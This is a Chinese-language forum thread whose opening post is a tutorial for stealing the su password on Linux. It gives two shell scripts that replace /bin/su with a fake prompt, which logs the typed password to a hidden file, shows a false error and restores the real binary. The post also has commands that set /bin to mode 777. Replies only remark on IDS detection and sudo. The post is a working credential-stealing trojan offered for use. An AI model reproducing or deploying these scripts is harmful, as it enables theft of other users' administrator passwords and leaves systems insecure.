[自創偷密碼] 簡單的su密碼接收器shell script 教學

NYbie

進階會員
已加入
9/5/06
訊息
208
互動分數
0
點數
16
今天大家來做一個簡單的.....
如何偷su密碼的shell script ......

有密碼能使鬼推磨....沒有密碼被root折磨....... :confused:

俗話說有加密的密碼最難懂.....
要如何輕鬆取得super user密碼..... :confused:

就要動點頭腦..... ;em25;

假設先取得root 權限但不知道密碼......
我們想要取得root的密碼...... ;ranger;

可以這樣做一個假的 su .....
底下需要2個shell script檔案......

1.setkey.sh
2.keysu.sh

#把它存成 setkey.sh
#
#這是一個設定偽裝su檔
#要用之前先備份 su 成 su.old

#!/bin/bash #呼叫系統的 bash script
mv /bin/su /bin/su.old #把su 檔更名為 su.old
mv /bin/keysu.sh /bin/su #把keysu.sh 檔更名為 su


#把它存成 keysu.sh
#
#這是一個偽裝的 su 用來偷密碼的

#!/bin/bash #呼叫系統的 bash script
read -p "Password:" -ers keyin #讀取鍵盤的輸入值
echo $keyin >>/bin/.fool.su #輸出到/bin/.fool.su 文件底下
echo "" #跳行
echo "su: incorrect passowrd" #輸出一個錯誤訊息讓su以為密碼錯誤 ;em25;
echo "##########" >>/bin/.fool.su #輸出#用來隔開密碼

#用完就可以復原 su 了
mv /bin/su /bin/keysu.sh #把su 檔更名為 keysu.sh
mv /bin/su.old /bin/su #把su.old 檔更名為 su
bash #bash用來模擬輸出密碼時會頓一下

說明使用方法.....
先以root 權限執行.....

[ root @ localhost fool ]$ chmod 777 /bin #/bin 開權限777
[ root @ localhost fool ]$ cp -r -f setkey.sh /bin #放到目錄/bin底下
[ root @ localhost fool ]$ cp -r -f keysu.sh /bin #放到目錄/bin底下
[ root @ localhost fool ]$ cd /bin #進入根目錄
[ root @ localhost fool ]$ cp -r -f su su.bak #先備份su檔
[ root @ localhost fool ]$ chmod 777 setkey.sh #開權限777
[ root @ localhost fool ]$ chmod 777 keysu.sh #開權限777
[ root @ localhost fool ]$ chmod 777 su #開權限777
[ root @ localhost fool ]$ exit #跳出root權限
[ NYbie @ localhost fool ]$ setkey.sh #開始偽裝su


開始等待ing使用者su..... ;ranger;

等了好久..... 直到有一天使用者kid想要su.....
當一使用者想要 su 就會得到密碼了...... :PPP:
測試一下ok..... ;em25;
pw.jpg


密碼放在/bin/.fool.su....
改天在來拿......
這樣就可輕鬆拿到su密碼....
不用解shadow...... :MMM:
 

睡覺的貓

進階會員
已加入
7/17/05
訊息
408
互動分數
0
點數
0
在OPENBSD可能會破功,樓主的方法會讓IDS發出警報,或是IDP把作者踢出去,除非.....沒這兩者存在(這SERVER管理者也太混了)
 

nightmare

進階會員
已加入
9/21/03
訊息
181
互動分數
2
點數
18
年齡
46
如果一開始就有 root 權限就不用這麼大費周章了吧...._A_
如果是幫人安裝系統,那自己留個後門也比較快....._A_
 

a843433

進階會員
已加入
5/19/05
訊息
322
互動分數
0
點數
0
在標準的系統裡面,根本沒機會讓你SU成為root;因為除非你知道root的密碼,不然你要怎麼取得su成為root的權限?


一般,都會開放受到限制的sudo來給一般使用者操作。一來安全,二來可以減少非預期的系統損害的事件發生。

對 linux 而言, root 只不過是一個代名詞,事實上是 uid 0 與 gid 0 兩者同時為零的那個「帳號」,如此而已。
 
▌延伸閱讀